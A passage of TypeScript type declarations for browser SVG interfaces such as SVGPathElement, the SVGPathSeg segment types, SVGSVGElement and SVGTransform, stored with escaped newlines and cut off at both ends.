SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGMetadataElement: {\\n    prototype: SVGMetadataElement;\\n    new(): SVGMetadataElement;\\n};\\n\\ninterface SVGNumber {\\n    value: number;\\n}\\n\\ndeclare var SVGNumber: {\\n    prototype: SVGNumber;\\n    new(): SVGNumber;\\n};\\n\\ninterface SVGNumberList {\\n    readonly numberOfItems: number;\\n    appendItem(newItem: SVGNumber): SVGNumber;\\n    clear(): void;\\n    getItem(index: number): SVGNumber;\\n    initialize(newItem: SVGNumber): SVGNumber;\\n    insertItemBefore(newItem: SVGNumber, index: number): SVGNumber;\\n    removeItem(index: number): SVGNumber;\\n    replaceItem(newItem: SVGNumber, index: number): SVGNumber;\\n}\\n\\ndeclare var SVGNumberList: {\\n    prototype: SVGNumberList;\\n    new(): SVGNumberList;\\n};\\n\\ninterface SVGPathElement extends SVGGraphicsElement {\\n    readonly pathSegList: SVGPathSegList;\\n    createSVGPathSegArcAbs(x: number, y: number, r1: number, r2: number, angle: number, largeArcFlag: boolean, sweepFlag: boolean): SVGPathSegArcAbs;\\n    createSVGPathSegArcRel(x: number, y: number, r1: number, r2: number, angle: number, largeArcFlag: boolean, sweepFlag: boolean): SVGPathSegArcRel;\\n    createSVGPathSegClosePath(): SVGPathSegClosePath;\\n    createSVGPathSegCurvetoCubicAbs(x: number, y: number, x1: number, y1: number, x2: number, y2: number): SVGPathSegCurvetoCubicAbs;\\n    createSVGPathSegCurvetoCubicRel(x: number, y: number, x1: number, y1: number, x2: number, y2: number): SVGPathSegCurvetoCubicRel;\\n    createSVGPathSegCurvetoCubicSmoothAbs(x: number, y: number, x2: number, y2: number): SVGPathSegCurvetoCubicSmoothAbs;\\n    createSVGPathSegCurvetoCubicSmoothRel(x: number, y: number, x2: number, y2: number): SVGPathSegCurvetoCubicSmoothRel;\\n    createSVGPathSegCurvetoQuadraticAbs(x: number, y: number, x1: number, y1: number): SVGPathSegCurvetoQuadraticAbs;\\n    createSVGPathSegCurvetoQuadraticRel(x: number, y: number, x1: number, y1: number): SVGPathSegCurvetoQuadraticRel;\\n    createSVGPathSegCurvetoQuadraticSmoothAbs(x: number, y: number): SVGPathSegCurvetoQuadraticSmoothAbs;\\n    createSVGPathSegCurvetoQuadraticSmoothRel(x: number, y: number): SVGPathSegCurvetoQuadraticSmoothRel;\\n    createSVGPathSegLinetoAbs(x: number, y: number): SVGPathSegLinetoAbs;\\n    createSVGPathSegLinetoHorizontalAbs(x: number): SVGPathSegLinetoHorizontalAbs;\\n    createSVGPathSegLinetoHorizontalRel(x: number): SVGPathSegLinetoHorizontalRel;\\n    createSVGPathSegLinetoRel(x: number, y: number): SVGPathSegLinetoRel;\\n    createSVGPathSegLinetoVerticalAbs(y: number): SVGPathSegLinetoVerticalAbs;\\n    createSVGPathSegLinetoVerticalRel(y: number): SVGPathSegLinetoVerticalRel;\\n    createSVGPathSegMovetoAbs(x: number, y: number): SVGPathSegMovetoAbs;\\n    createSVGPathSegMovetoRel(x: number, y: number): SVGPathSegMovetoRel;\\n    getPathSegAtLength(distance: number): number;\\n    getPointAtLength(distance: number): SVGPoint;\\n    getTotalLength(): number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGPathElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGPathElement: {\\n    prototype: SVGPathElement;\\n    new(): SVGPathElement;\\n};\\n\\ninterface SVGPathSeg {\\n    readonly pathSegType: number;\\n    readonly pathSegTypeAsLetter: string;\\n    readonly PATHSEG_ARC_ABS: number;\\n    readonly PATHSEG_ARC_REL: number;\\n    readonly PATHSEG_CLOSEPATH: number;\\n    readonly PATHSEG_CURVETO_CUBIC_ABS: number;\\n    readonly PATHSEG_CURVETO_CUBIC_REL: number;\\n    readonly PATHSEG_CURVETO_CUBIC_SMOOTH_ABS: number;\\n    readonly PATHSEG_CURVETO_CUBIC_SMOOTH_REL: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_ABS: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_REL: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_SMOOTH_ABS: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_SMOOTH_REL: number;\\n    readonly PATHSEG_LINETO_ABS: number;\\n    readonly PATHSEG_LINETO_HORIZONTAL_ABS: number;\\n    readonly PATHSEG_LINETO_HORIZONTAL_REL: number;\\n    readonly PATHSEG_LINETO_REL: number;\\n    readonly PATHSEG_LINETO_VERTICAL_ABS: number;\\n    readonly PATHSEG_LINETO_VERTICAL_REL: number;\\n    readonly PATHSEG_MOVETO_ABS: number;\\n    readonly PATHSEG_MOVETO_REL: number;\\n    readonly PATHSEG_UNKNOWN: number;\\n}\\n\\ndeclare var SVGPathSeg: {\\n    prototype: SVGPathSeg;\\n    new(): SVGPathSeg;\\n    readonly PATHSEG_ARC_ABS: number;\\n    readonly PATHSEG_ARC_REL: number;\\n    readonly PATHSEG_CLOSEPATH: number;\\n    readonly PATHSEG_CURVETO_CUBIC_ABS: number;\\n    readonly PATHSEG_CURVETO_CUBIC_REL: number;\\n    readonly PATHSEG_CURVETO_CUBIC_SMOOTH_ABS: number;\\n    readonly PATHSEG_CURVETO_CUBIC_SMOOTH_REL: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_ABS: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_REL: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_SMOOTH_ABS: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_SMOOTH_REL: number;\\n    readonly PATHSEG_LINETO_ABS: number;\\n    readonly PATHSEG_LINETO_HORIZONTAL_ABS: number;\\n    readonly PATHSEG_LINETO_HORIZONTAL_REL: number;\\n    readonly PATHSEG_LINETO_REL: number;\\n    readonly PATHSEG_LINETO_VERTICAL_ABS: number;\\n    readonly PATHSEG_LINETO_VERTICAL_REL: number;\\n    readonly PATHSEG_MOVETO_ABS: number;\\n    readonly PATHSEG_MOVETO_REL: number;\\n    readonly PATHSEG_UNKNOWN: number;\\n};\\n\\ninterface SVGPathSegArcAbs extends SVGPathSeg {\\n    angle: number;\\n    largeArcFlag: boolean;\\n    r1: number;\\n    r2: number;\\n    sweepFlag: boolean;\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegArcAbs: {\\n    prototype: SVGPathSegArcAbs;\\n    new(): SVGPathSegArcAbs;\\n};\\n\\ninterface SVGPathSegArcRel extends SVGPathSeg {\\n    angle: number;\\n    largeArcFlag: boolean;\\n    r1: number;\\n    r2: number;\\n    sweepFlag: boolean;\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegArcRel: {\\n    prototype: SVGPathSegArcRel;\\n    new(): SVGPathSegArcRel;\\n};\\n\\ninterface SVGPathSegClosePath extends SVGPathSeg {\\n}\\n\\ndeclare var SVGPathSegClosePath: {\\n    prototype: SVGPathSegClosePath;\\n    new(): SVGPathSegClosePath;\\n};\\n\\ninterface SVGPathSegCurvetoCubicAbs extends SVGPathSeg {\\n    x: number;\\n    x1: number;\\n    x2: number;\\n    y: number;\\n    y1: number;\\n    y2: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoCubicAbs: {\\n    prototype: SVGPathSegCurvetoCubicAbs;\\n    new(): SVGPathSegCurvetoCubicAbs;\\n};\\n\\ninterface SVGPathSegCurvetoCubicRel extends SVGPathSeg {\\n    x: number;\\n    x1: number;\\n    x2: number;\\n    y: number;\\n    y1: number;\\n    y2: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoCubicRel: {\\n    prototype: SVGPathSegCurvetoCubicRel;\\n    new(): SVGPathSegCurvetoCubicRel;\\n};\\n\\ninterface SVGPathSegCurvetoCubicSmoothAbs extends SVGPathSeg {\\n    x: number;\\n    x2: number;\\n    y: number;\\n    y2: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoCubicSmoothAbs: {\\n    prototype: SVGPathSegCurvetoCubicSmoothAbs;\\n    new(): SVGPathSegCurvetoCubicSmoothAbs;\\n};\\n\\ninterface SVGPathSegCurvetoCubicSmoothRel extends SVGPathSeg {\\n    x: number;\\n    x2: number;\\n    y: number;\\n    y2: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoCubicSmoothRel: {\\n    prototype: SVGPathSegCurvetoCubicSmoothRel;\\n    new(): SVGPathSegCurvetoCubicSmoothRel;\\n};\\n\\ninterface SVGPathSegCurvetoQuadraticAbs extends SVGPathSeg {\\n    x: number;\\n    x1: number;\\n    y: number;\\n    y1: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoQuadraticAbs: {\\n    prototype: SVGPathSegCurvetoQuadraticAbs;\\n    new(): SVGPathSegCurvetoQuadraticAbs;\\n};\\n\\ninterface SVGPathSegCurvetoQuadraticRel extends SVGPathSeg {\\n    x: number;\\n    x1: number;\\n    y: number;\\n    y1: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoQuadraticRel: {\\n    prototype: SVGPathSegCurvetoQuadraticRel;\\n    new(): SVGPathSegCurvetoQuadraticRel;\\n};\\n\\ninterface SVGPathSegCurvetoQuadraticSmoothAbs extends SVGPathSeg {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoQuadraticSmoothAbs: {\\n    prototype: SVGPathSegCurvetoQuadraticSmoothAbs;\\n    new(): SVGPathSegCurvetoQuadraticSmoothAbs;\\n};\\n\\ninterface SVGPathSegCurvetoQuadraticSmoothRel extends SVGPathSeg {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoQuadraticSmoothRel: {\\n    prototype: SVGPathSegCurvetoQuadraticSmoothRel;\\n    new(): SVGPathSegCurvetoQuadraticSmoothRel;\\n};\\n\\ninterface SVGPathSegLinetoAbs extends SVGPathSeg {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegLinetoAbs: {\\n    prototype: SVGPathSegLinetoAbs;\\n    new(): SVGPathSegLinetoAbs;\\n};\\n\\ninterface SVGPathSegLinetoHorizontalAbs extends SVGPathSeg {\\n    x: number;\\n}\\n\\ndeclare var SVGPathSegLinetoHorizontalAbs: {\\n    prototype: SVGPathSegLinetoHorizontalAbs;\\n    new(): SVGPathSegLinetoHorizontalAbs;\\n};\\n\\ninterface SVGPathSegLinetoHorizontalRel extends SVGPathSeg {\\n    x: number;\\n}\\n\\ndeclare var SVGPathSegLinetoHorizontalRel: {\\n    prototype: SVGPathSegLinetoHorizontalRel;\\n    new(): SVGPathSegLinetoHorizontalRel;\\n};\\n\\ninterface SVGPathSegLinetoRel extends SVGPathSeg {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegLinetoRel: {\\n    prototype: SVGPathSegLinetoRel;\\n    new(): SVGPathSegLinetoRel;\\n};\\n\\ninterface SVGPathSegLinetoVerticalAbs extends SVGPathSeg {\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegLinetoVerticalAbs: {\\n    prototype: SVGPathSegLinetoVerticalAbs;\\n    new(): SVGPathSegLinetoVerticalAbs;\\n};\\n\\ninterface SVGPathSegLinetoVerticalRel extends SVGPathSeg {\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegLinetoVerticalRel: {\\n    prototype: SVGPathSegLinetoVerticalRel;\\n    new(): SVGPathSegLinetoVerticalRel;\\n};\\n\\ninterface SVGPathSegList {\\n    readonly numberOfItems: number;\\n    appendItem(newItem: SVGPathSeg): SVGPathSeg;\\n    clear(): void;\\n    getItem(index: number): SVGPathSeg;\\n    initialize(newItem: SVGPathSeg): SVGPathSeg;\\n    insertItemBefore(newItem: SVGPathSeg, index: number): SVGPathSeg;\\n    removeItem(index: number): SVGPathSeg;\\n    replaceItem(newItem: SVGPathSeg, index: number): SVGPathSeg;\\n}\\n\\ndeclare var SVGPathSegList: {\\n    prototype: SVGPathSegList;\\n    new(): SVGPathSegList;\\n};\\n\\ninterface SVGPathSegMovetoAbs extends SVGPathSeg {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegMovetoAbs: {\\n    prototype: SVGPathSegMovetoAbs;\\n    new(): SVGPathSegMovetoAbs;\\n};\\n\\ninterface SVGPathSegMovetoRel extends SVGPathSeg {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegMovetoRel: {\\n    prototype: SVGPathSegMovetoRel;\\n    new(): SVGPathSegMovetoRel;\\n};\\n\\ninterface SVGPatternElement extends SVGElement, SVGTests, SVGUnitTypes, SVGFitToViewBox, SVGURIReference {\\n    readonly height: SVGAnimatedLength;\\n    readonly patternContentUnits: SVGAnimatedEnumeration;\\n    readonly patternTransform: SVGAnimatedTransformList;\\n    readonly patternUnits: SVGAnimatedEnumeration;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGPatternElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGPatternElement: {\\n    prototype: SVGPatternElement;\\n    new(): SVGPatternElement;\\n};\\n\\ninterface SVGPoint {\\n    x: number;\\n    y: number;\\n    matrixTransform(matrix: SVGMatrix): SVGPoint;\\n}\\n\\ndeclare var SVGPoint: {\\n    prototype: SVGPoint;\\n    new(): SVGPoint;\\n};\\n\\ninterface SVGPointList {\\n    readonly numberOfItems: number;\\n    appendItem(newItem: SVGPoint): SVGPoint;\\n    clear(): void;\\n    getItem(index: number): SVGPoint;\\n    initialize(newItem: SVGPoint): SVGPoint;\\n    insertItemBefore(newItem: SVGPoint, index: number): SVGPoint;\\n    removeItem(index: number): SVGPoint;\\n    replaceItem(newItem: SVGPoint, index: number): SVGPoint;\\n}\\n\\ndeclare var SVGPointList: {\\n    prototype: SVGPointList;\\n    new(): SVGPointList;\\n};\\n\\ninterface SVGPolygonElement extends SVGGraphicsElement, SVGAnimatedPoints {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGPolygonElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGPolygonElement: {\\n    prototype: SVGPolygonElement;\\n    new(): SVGPolygonElement;\\n};\\n\\ninterface SVGPolylineElement extends SVGGraphicsElement, SVGAnimatedPoints {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGPolylineElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGPolylineElement: {\\n    prototype: SVGPolylineElement;\\n    new(): SVGPolylineElement;\\n};\\n\\ninterface SVGPreserveAspectRatio {\\n    align: number;\\n    meetOrSlice: number;\\n    readonly SVG_MEETORSLICE_MEET: number;\\n    readonly SVG_MEETORSLICE_SLICE: number;\\n    readonly SVG_MEETORSLICE_UNKNOWN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_NONE: number;\\n    readonly SVG_PRESERVEASPECTRATIO_UNKNOWN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMAXYMAX: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMAXYMID: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMAXYMIN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMIDYMAX: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMIDYMID: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMIDYMIN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMINYMAX: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMINYMID: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMINYMIN: number;\\n}\\n\\ndeclare var SVGPreserveAspectRatio: {\\n    prototype: SVGPreserveAspectRatio;\\n    new(): SVGPreserveAspectRatio;\\n    readonly SVG_MEETORSLICE_MEET: number;\\n    readonly SVG_MEETORSLICE_SLICE: number;\\n    readonly SVG_MEETORSLICE_UNKNOWN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_NONE: number;\\n    readonly SVG_PRESERVEASPECTRATIO_UNKNOWN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMAXYMAX: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMAXYMID: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMAXYMIN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMIDYMAX: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMIDYMID: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMIDYMIN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMINYMAX: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMINYMID: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMINYMIN: number;\\n};\\n\\ninterface SVGRadialGradientElement extends SVGGradientElement {\\n    readonly cx: SVGAnimatedLength;\\n    readonly cy: SVGAnimatedLength;\\n    readonly fx: SVGAnimatedLength;\\n    readonly fy: SVGAnimatedLength;\\n    readonly r: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGRadialGradientElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGRadialGradientElement: {\\n    prototype: SVGRadialGradientElement;\\n    new(): SVGRadialGradientElement;\\n};\\n\\ninterface SVGRect {\\n    height: number;\\n    width: number;\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGRect: {\\n    prototype: SVGRect;\\n    new(): SVGRect;\\n};\\n\\ninterface SVGRectElement extends SVGGraphicsElement {\\n    readonly height: SVGAnimatedLength;\\n    readonly rx: SVGAnimatedLength;\\n    readonly ry: SVGAnimatedLength;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGRectElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGRectElement: {\\n    prototype: SVGRectElement;\\n    new(): SVGRectElement;\\n};\\n\\ninterface SVGScriptElement extends SVGElement, SVGURIReference {\\n    type: string;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGScriptElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGScriptElement: {\\n    prototype: SVGScriptElement;\\n    new(): SVGScriptElement;\\n};\\n\\ninterface SVGStopElement extends SVGElement {\\n    readonly offset: SVGAnimatedNumber;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGStopElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGStopElement: {\\n    prototype: SVGStopElement;\\n    new(): SVGStopElement;\\n};\\n\\ninterface SVGStringList {\\n    readonly numberOfItems: number;\\n    appendItem(newItem: string): string;\\n    clear(): void;\\n    getItem(index: number): string;\\n    initialize(newItem: string): string;\\n    insertItemBefore(newItem: string, index: number): string;\\n    removeItem(index: number): string;\\n    replaceItem(newItem: string, index: number): string;\\n}\\n\\ndeclare var SVGStringList: {\\n    prototype: SVGStringList;\\n    new(): SVGStringList;\\n};\\n\\ninterface SVGStyleElement extends SVGElement {\\n    disabled: boolean;\\n    media: string;\\n    title: string;\\n    type: string;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGStyleElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGStyleElement: {\\n    prototype: SVGStyleElement;\\n    new(): SVGStyleElement;\\n};\\n\\ninterface SVGSVGElementEventMap extends SVGElementEventMap {\\n    \"SVGAbort\": Event;\\n    \"SVGError\": Event;\\n    \"resize\": UIEvent;\\n    \"scroll\": UIEvent;\\n    \"SVGUnload\": Event;\\n    \"SVGZoom\": SVGZoomEvent;\\n}\\n\\ninterface SVGSVGElement extends SVGGraphicsElement, DocumentEvent, SVGFitToViewBox, SVGZoomAndPan {\\n    contentScriptType: string;\\n    contentStyleType: string;\\n    currentScale: number;\\n    readonly currentTranslate: SVGPoint;\\n    readonly height: SVGAnimatedLength;\\n    onabort: (this: SVGSVGElement, ev: Event) => any;\\n    onerror: (this: SVGSVGElement, ev: Event) => any;\\n    onresize: (this: SVGSVGElement, ev: UIEvent) => any;\\n    onscroll: (this: SVGSVGElement, ev: UIEvent) => any;\\n    onunload: (this: SVGSVGElement, ev: Event) => any;\\n    onzoom: (this: SVGSVGElement, ev: SVGZoomEvent) => any;\\n    readonly pixelUnitToMillimeterX: number;\\n    readonly pixelUnitToMillimeterY: number;\\n    readonly screenPixelToMillimeterX: number;\\n    readonly screenPixelToMillimeterY: number;\\n    readonly viewport: SVGRect;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    checkEnclosure(element: SVGElement, rect: SVGRect): boolean;\\n    checkIntersection(element: SVGElement, rect: SVGRect): boolean;\\n    createSVGAngle(): SVGAngle;\\n    createSVGLength(): SVGLength;\\n    createSVGMatrix(): SVGMatrix;\\n    createSVGNumber(): SVGNumber;\\n    createSVGPoint(): SVGPoint;\\n    createSVGRect(): SVGRect;\\n    createSVGTransform(): SVGTransform;\\n    createSVGTransformFromMatrix(matrix: SVGMatrix): SVGTransform;\\n    deselectAll(): void;\\n    forceRedraw(): void;\\n    getComputedStyle(elt: Element, pseudoElt?: string): CSSStyleDeclaration;\\n    getCurrentTime(): number;\\n    getElementById(elementId: string): Element;\\n    getEnclosureList(rect: SVGRect, referenceElement: SVGElement): NodeListOf<SVGCircleElement | SVGEllipseElement | SVGImageElement | SVGLineElement | SVGPathElement | SVGPolygonElement | SVGPolylineElement | SVGRectElement | SVGTextElement | SVGUseElement>;\\n    getIntersectionList(rect: SVGRect, referenceElement: SVGElement): NodeListOf<SVGCircleElement | SVGEllipseElement | SVGImageElement | SVGLineElement | SVGPathElement | SVGPolygonElement | SVGPolylineElement | SVGRectElement | SVGTextElement | SVGUseElement>;\\n    pauseAnimations(): void;\\n    setCurrentTime(seconds: number): void;\\n    suspendRedraw(maxWaitMilliseconds: number): number;\\n    unpauseAnimations(): void;\\n    unsuspendRedraw(suspendHandleID: number): void;\\n    unsuspendRedrawAll(): void;\\n    addEventListener<K extends keyof SVGSVGElementEventMap>(type: K, listener: (this: SVGSVGElement, ev: SVGSVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGSVGElement: {\\n    prototype: SVGSVGElement;\\n    new(): SVGSVGElement;\\n};\\n\\ninterface SVGSwitchElement extends SVGGraphicsElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGSwitchElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGSwitchElement: {\\n    prototype: SVGSwitchElement;\\n    new(): SVGSwitchElement;\\n};\\n\\ninterface SVGSymbolElement extends SVGElement, SVGFitToViewBox {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGSymbolElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGSymbolElement: {\\n    prototype: SVGSymbolElement;\\n    new(): SVGSymbolElement;\\n};\\n\\ninterface SVGTextContentElement extends SVGGraphicsElement {\\n    readonly lengthAdjust: SVGAnimatedEnumeration;\\n    readonly textLength: SVGAnimatedLength;\\n    getCharNumAtPosition(point: SVGPoint): number;\\n    getComputedTextLength(): number;\\n    getEndPositionOfChar(charnum: number): SVGPoint;\\n    getExtentOfChar(charnum: number): SVGRect;\\n    getNumberOfChars(): number;\\n    getRotationOfChar(charnum: number): number;\\n    getStartPositionOfChar(charnum: number): SVGPoint;\\n    getSubStringLength(charnum: number, nchars: number): number;\\n    selectSubString(charnum: number, nchars: number): void;\\n    readonly LENGTHADJUST_SPACING: number;\\n    readonly LENGTHADJUST_SPACINGANDGLYPHS: number;\\n    readonly LENGTHADJUST_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGTextContentElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGTextContentElement: {\\n    prototype: SVGTextContentElement;\\n    new(): SVGTextContentElement;\\n    readonly LENGTHADJUST_SPACING: number;\\n    readonly LENGTHADJUST_SPACINGANDGLYPHS: number;\\n    readonly LENGTHADJUST_UNKNOWN: number;\\n};\\n\\ninterface SVGTextElement extends SVGTextPositioningElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGTextElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGTextElement: {\\n    prototype: SVGTextElement;\\n    new(): SVGTextElement;\\n};\\n\\ninterface SVGTextPathElement extends SVGTextContentElement, SVGURIReference {\\n    readonly method: SVGAnimatedEnumeration;\\n    readonly spacing: SVGAnimatedEnumeration;\\n    readonly startOffset: SVGAnimatedLength;\\n    readonly TEXTPATH_METHODTYPE_ALIGN: number;\\n    readonly TEXTPATH_METHODTYPE_STRETCH: number;\\n    readonly TEXTPATH_METHODTYPE_UNKNOWN: number;\\n    readonly TEXTPATH_SPACINGTYPE_AUTO: number;\\n    readonly TEXTPATH_SPACINGTYPE_EXACT: number;\\n    readonly TEXTPATH_SPACINGTYPE_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGTextPathElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGTextPathElement: {\\n    prototype: SVGTextPathElement;\\n    new(): SVGTextPathElement;\\n    readonly TEXTPATH_METHODTYPE_ALIGN: number;\\n    readonly TEXTPATH_METHODTYPE_STRETCH: number;\\n    readonly TEXTPATH_METHODTYPE_UNKNOWN: number;\\n    readonly TEXTPATH_SPACINGTYPE_AUTO: number;\\n    readonly TEXTPATH_SPACINGTYPE_EXACT: number;\\n    readonly TEXTPATH_SPACINGTYPE_UNKNOWN: number;\\n};\\n\\ninterface SVGTextPositioningElement extends SVGTextContentElement {\\n    readonly dx: SVGAnimatedLengthList;\\n    readonly dy: SVGAnimatedLengthList;\\n    readonly rotate: SVGAnimatedNumberList;\\n    readonly x: SVGAnimatedLengthList;\\n    readonly y: SVGAnimatedLengthList;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGTextPositioningElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGTextPositioningElement: {\\n    prototype: SVGTextPositioningElement;\\n    new(): SVGTextPositioningElement;\\n};\\n\\ninterface SVGTitleElement extends SVGElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGTitleElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGTitleElement: {\\n    prototype: SVGTitleElement;\\n    new(): SVGTitleElement;\\n};\\n\\ninterface SVGTransform {\\n    readonly angle: number;\\n    readonly matrix: SVGMatrix;\\n    readonly type: number;\\n    setMatrix(matrix: SVGMatrix): void;\\n    setRotate(angle: number, cx: number, cy: number): void;\\n    setScale(sx: number, sy: number): void;\\n    setSkewX(angle: number): void;\\n    setSkewY(angle: number): void;\\n    setTranslate(tx: number, ty: number): void;\\n    readonly SVG_TRANSFORM_MATRIX: number;\\n    readonly SVG_TRANSFORM_ROTATE: number;\\n    readonly SVG_TRANSFORM_SCALE: number;\\n    readonly SVG_TRANSFORM_SKEWX: number;\\n    readonly SVG_TRANSFORM_SKEWY: number;\\n    readonly SVG_TRANSFORM_TRANSLATE: number;\\n    readonly SVG_TRANSFORM_UNKNOWN: number;\\n}\\n\\ndeclare var SVGTransform: {\\n    prototype: SVGTransform;\\n    new(): SVGTransform;\\n    readonly SVG_TRANSFORM_MATRIX: number;\\n    readonly SVG_TRANSFORM_ROTATE: number;\\n    readonly SVG_TRANSFORM_SCALE: number;\\n    readonly SVG_TRANSFORM_SKEWX: number;\\n    readonly SVG_TRANSFORM_SKEWY: number;\\n    readonly 